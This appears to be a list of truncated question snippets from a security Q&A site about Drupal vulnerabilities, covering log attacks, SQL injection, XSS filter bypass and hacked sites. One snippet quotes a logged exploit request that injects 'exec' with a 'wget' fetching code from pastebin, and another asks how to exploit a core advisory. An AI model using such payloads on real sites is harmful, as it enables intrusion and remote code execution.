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Drupal logs are reporting 404s from bot visits but I have apache basic auth set up

In the Drupal logs on my dev site there are "page not found" reports that are obviously from a bot trying out well known urls (e.g. /wp-login). But I have set up apache basic auth and I am the only ...
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How various CMS encrypt password across past releases

I am interesting in knowing how Drupal, Wordpress and Joomla have managed password encryption (hashing algorithims) across their various releases, from the very first to the latest. Thanks.
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Should I be worried about these Drupal 7 username attack attempts?

In my logs I see regular attempts, a few times a day like these ones: http://www.example.com/user/password?name[%23post_render][0]=exec&name[%23markup]=wget+https%3a%2f%2fpastebin.com%2fraw%...
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Drupal 7 - attack in the logs

In my Drupal 7 logs I see entries such as: http://example.com/?q=file/ajax/name/%23value/form-tkSDwR6W66a8vR_AIDxAzwMVklkjTkNMjf8SEqfTX8Q There are several entries like this one, with only the last ...
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Why am I getting url requests for pages I never had on my site?

On my Drupal site I'm getting strange requests for url paths that I have never had and have nothing to do with my site. Could some one explain why people (or bots) are looking for the following urls? ...
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is OSSEC effective in protecting a Drupal installation?

I noticed that the 2.8.1 rules have wordpress and other products listed, but no Drupal rules. Is its safe to assume OSSEC, acting like an IPS in active mode, is just not going to block any Drupal ...
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Is it dangerous to append search query to the base URL?

I'm testing drupal website and I've noticed that search query gets appended to the base URL in the response, like so: query: "hey ho: there" http://www.baseurl.com/search/node/hey ho%3A there query: ...
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How much access to the file system does the recent Drupal vulnerability give?

A friends drupal site was hacked. What is strange is that the root directory of the installation at the hosting company (let us call it rootdir) was copied (or renamed) rootdir_hacked and the ...
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Drupal SQLi only on login form?

Recently, CVE-2014-3704 was in the news. This vulnerability allows attackers to execute SQLi without the need of being logged in. However, I've looked to the available exploits, and I found only ...
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drupal external authentication - how to handle password?

I need to implement an architecture someone else designed. They have a drupal as user interacting component, and an external authentication module. To authenticate, from drupal, username and ...
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website hacked - phishing form

My Drupal 7.28 site has been hacked through the the tmp dir which was not protected by .htaccess file. The hacker managed to delete the main .htaccess file and upload some bogus google docs 2014 ...
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What are the security threats of zip file uploads and what preventive actions should be taken?

We have a Drupal application developed for sharing files. We are allowing zip files to be uploaded by logged in departmental user. We are using Drupal private file system (outside webroot). We are ...
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ALERT - ASCII-NUL chars not allowed within request variables

In a Drupal site, I get this error in my Debian's syslog: suhosin[9413]: ALERT - ASCII-NUL chars not allowed within request variables - dropped variable 'name' (attacker 'x.x.x.x', file '/path/...
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Drupal filters XSS with regexes. What could bypass it?

Drupal filters HTML strings against XSS attacks using regexes: http://api.drupal.org/api/drupal/includes%21common.inc/function/filter_xss/7 However, as a lot of people know, HTML can't be parsed with ...
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How to exploit DRUPAL-SA-CORE-2012-003

I have read the security notices and understand that it "would allow an attacker to reinstall an existing Drupal site with an external database server and then execute custom PHP code". According to ...
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Drupal Disputed CVE Five Year Tempest – Open Source Security Shortfall?

Can someone add context to the subject issue? At first glance it appears to me this issue represents a fundamental shortfall in the forces encouraging secure coding in open source development. Is ...